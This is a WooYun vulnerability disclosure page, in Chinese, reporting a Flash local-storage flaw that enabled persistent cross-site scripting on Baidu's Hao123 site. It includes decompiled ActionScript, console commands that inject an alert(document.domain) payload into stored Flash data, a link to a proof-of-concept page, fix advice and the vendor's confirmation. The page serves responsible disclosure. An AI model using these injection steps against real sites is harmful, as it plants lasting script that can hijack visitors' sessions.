当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065197

漏洞标题:Flash漏洞导致Hao123 XSS Rootkit

相关厂商:百度

漏洞作者: iv4n

提交时间:2014-06-19 15:27

修复时间:2014-08-03 15:28

公开时间:2014-08-03 15:28

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-19: 细节已通知厂商并且等待厂商处理中
2014-06-19: 厂商已经确认,细节仅向厂商公开
2014-06-29: 细节向核心白帽子及相关领域专家公开
2014-07-09: 细节向普通白帽子公开
2014-07-19: 细节向实习白帽子公开
2014-08-03: 细节向公众公开

简要描述:

Flash LSO的漏洞,Hao123.com受影响

详细说明:

下午看到neobyte的一个漏洞 WooYun: 一个flash的0day导致的淘宝网存储xss(可形成永久后门) 比较有意思,晚上动手看了下,hao123存在同样的问题(js调用LSO读取数据的问题)。
Flash的名字很给力:

1.png


看了下源码,Security.allowDomain("*"); 有戏!
基本上就是简单的封装LSO的方法,这里看下write:

public function write(param1:String, param2:String, param3) : Boolean
{
var so:SharedObject;
var result:String;
var id:* = param1;
var key:* = param2;
var value:* = param3;
var isWriteOK:Boolean;
try
{
so = SharedObject.getLocal(id);
so.data[key] = value;
result = so.flush();
if (result == SharedObjectFlushStatus.PENDING)
{
isWriteOK;
}
}
catch (err:Error)
{
isWriteOK;
}
return isWriteOK;
}// end function


三个参数,id,key,value。 这里可以从从本地文件找到相关信息:
windows8,chrome中Flash LSO在这里
C:\Users\ivanl_000\AppData\Local\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\#SharedObjects\HBLU43EP\s1.hao123img.com\index\swf\LocalStorage.swf\ $hao123$.sol

2.png


直接在当前站点进行尝试利用,在Chrome控制台先读一下:

document.embeds["flashStorage"].read('$hao123$',"FLASHID")


再写入:

document.embeds["flashStorage"].write('$hao123$', 'FLASHID', '\\";alert(document.domain);//a');


返回成功,再利用读取触发漏洞:

document.embeds["flashStorage"].read('$hao123$',"FLASHID")


3.png


然后参考neobyte的代码,写出poc,搞定。

漏洞证明:

先访问这个:
http://1v4n.sinaapp.com/poc/hao123.html
再访问这个:
http://www.hao123.com/
触发。
说明:
hao123页面的流程会先读取,然后重新写入会覆盖FLASHID。
要保证rootkit XSS需要在读取执行JS的时候,搞定后面写入操作即可。

修复方案:

1.Security.allowDomain("*"); 限制;
2.callback的值也要进行过滤处理:注意\.

版权声明:转载请注明来源 iv4n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-06-19 19:01

厂商回复:

我们会尽快处理此问题,感谢对百度安全的关注。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-06-28 17:02 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    这个洞具有很高的价值啊

  2. 2014-07-20 04:59 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    请问洞主你在读取sol文件用的什么工具

  3. 2014-07-20 09:26 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    @mango 记事本就可以了

  4. 2014-07-20 15:11 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    @香草 但是记事本有时候都乱码~

  5. 2014-07-21 17:33 | iv4n ( 实习白帽子 | Rank:49 漏洞数:10 )

    @mango notepad++,记事本一样的。乱码是正常的,普通变量的英文字符一般可见,中文字符和数组之类的是乱码,你可以自己写个demo到本地文件,测试一下。

  6. 2014-07-21 17:59 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    @iv4n 很好奇~ 这POC - - 三个参数。。。普通都是两个参数~ 那个淘宝的就一个参数。。。

  7. 2014-07-21 23:11 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    @mango 参数是看代码定义多少就多少

  8. 2014-07-21 23:30 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    @香草 恩

  9. 2014-08-07 23:20 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

    好屌 - - ac没学,看不懂